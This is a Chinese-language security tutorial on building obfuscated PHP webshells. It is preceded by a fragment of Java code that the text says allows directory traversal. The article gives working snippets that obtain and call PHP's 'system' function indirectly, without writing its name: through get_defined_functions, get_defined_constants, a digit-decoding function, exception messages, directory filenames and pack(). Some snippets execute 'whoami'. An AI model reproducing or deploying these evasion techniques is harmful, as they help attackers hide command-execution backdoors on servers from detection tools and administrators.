if(entity.keySet() != null && entity.keySet().size() > 0) { String path = basePath + entity.get("file").toString(); File includeFile = new File(path); String includeHtml; try { includeHtml = FileUtils.readFileToString(includeFile, "UTF-8"); newHtml = newHtml.replaceFirst(annotations.regexp(), includeHtml); } catch (IOException e) { e.printStackTrace(); } } } return newHtml; } 可以目录穿越读取我们任意文件的内容
浅谈 webshell 构造之如何获取恶意函数
前言 这篇文章主要是总结一下自己学习过的 “恶意函数” 篇章,重点是在如何获取恶意函数。 get_defined_functions (PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8) get_defined_functions — 返回所有已定义函数的数组 我们主要是可以通过这个获取危险的函数 比如 比如 当然还有许多,如何执行命令就很简单了 代码如下 <?php $a=(get_defined_functions()); $a["internal"][516]("whoami"); ?> get_defined_constants get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值 那获取的常量是不是可以为我们所用呢? 可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗 代码如下 <?php $a=get_defined_constants(); foreach ($a as $key => $value){    if (substr($key,0,7)=="INI_SYS"){        $x= strtolower(substr($key,4,6));        $x("whoami");   } } ?> 自定义方法 通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } 现在还没有看出端倪,但是当你运行这串代码的时候 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } echo fun(451232); 抛出异常截取字符串 这个手法也是比较特殊的 我们可以随便找一个异常类 比如 ParseError,然后再加上我们刚刚的自定义方法 ParseError 当解析 PHP 代码时发生错误时抛出,比如当 https://www.php.net/manual/zh/function.eval.php 被调用出错时。 它的一些属性和方法 /* 继承的属性 */ protected string $message = ""; private string $string = ""; protected int $code; protected string $file = ""; protected int $line; private array $trace = []; private ?Throwable $previous = null; /* 继承的方法 */ public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null) final public Error::getMessage(): string final public Error::getPrevious(): ?Throwable final public Error::getCode(): int final public Error::getFile(): string final public Error::getLine(): int final public Error::getTrace(): array final public Error::getTraceAsString(): string public Error::__toString(): string private Error::__clone(): void 可以看到都是基础父类的 Exception::__construct — 异常构造函数 Exception::getMessage — 获取异常消息内容 Exception::getPrevious — 返回前一个 Throwable Exception::getCode — 获取异常代码 Exception::getFile — 创建异常时的程序文件名称 Exception::getLine — 获取创建的异常所在文件中的行号 Exception::getTrace — 获取异常追踪信息 Exception::getTraceAsString — 获取字符串类型的异常追踪信息 Exception::__toString — 将异常对象转换为字符串 Exception::__clone — 异常克隆 根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗 代码如下 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } $a = new ParseError(fun(451232)); echo $a->getMessage(); DirectoryIterator The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories. 它的一些方法 https://www.php.net/manual/zh/directoryiterator.construct.php — Constructs a new directory iterator from a path https://www.php.net/manual/zh/directoryiterator.current.php — Return the current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.getbasename.php — Get base name of current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.getextension.php — Gets the file extension https://www.php.net/manual/zh/directoryiterator.getfilename.php — Return file name of current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.isdot.php — Determine if current DirectoryIterator item is '.' or '..' https://www.php.net/manual/zh/directoryiterator.key.php — Return the key for the current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.next.php — Move forward to next DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.rewind.php — Rewind the DirectoryIterator back to the start https://www.php.net/manual/zh/directoryiterator.seek.php — Seek to a DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.tostring.php — Get file name as a string https://www.php.net/manual/zh/directoryiterator.valid.php — Check whether current DirectoryIterator position is a valid file 其中大概看一下,其实 DirectoryIterator::getFilename 就有利用的可能 DirectoryIterator::getFilename — Return file name of current DirectoryIterator item 看一下官方的例子 <?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) {   echo $fileinfo->getFilename() . "\n";}?> 以上示例的输出类似于: . .. apple.jpg banana.jpg index.php pear.jpg 那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗 代码如下 <?php // 创建FilesystemIterator实例 $iterator = new FilesystemIterator(dirname(__FILE__)); foreach ($iterator as $item) {    // 输出文件和目录的属性    echo $item->getFilename() . "\n"; } ?> 运行结果 确实是获取到了 pack 这个函数很有意思的 pack — 将数据打包成二进制字符串 可以构造出字符串 pack(https://www.php.net/manual/zh/language.types.string.php $format, https://www.php.net/manual/zh/language.types.mixed.php ...$values): https://www.php.net/manual/zh/language.types.string.php 将输入参数打包成 format 格式的二进制字符串。 这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。 注意,有符号值和无符号值之间的区别只影响函数 https://www.php.net/manual/zh/function.unpack.php,在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。 看了一下大概,再看下官方的例子 这是一些它的格式 示例 #1 *pack()* 范例 <?php$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);?> 输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。 那我们按照构造出 system 的思路 <?php echo pack("C6", 115, 121, 115, 116, 101, 109); echo pack("H*", "73797374656d"); ?> 这两个结果都是 system "C6" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。 传入的参数 115, 121, 115, 116, 101, 109 是 ASCII 码值。 115 对应的字符是 s 121 对应的字符是 y 115 对应的字符是 s 116 对应的字符是 t 101 对应的字符是 e 109 对应的字符是 m 构造出来的就是 system "H*" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。 73797374656d 是一个十六进制表示的字符串。将其转换为 ASCII 字符: 73 是 s 79 是 y 73 是 s 74 是 t 65 是 e 6d 是 m 构造出来的也是system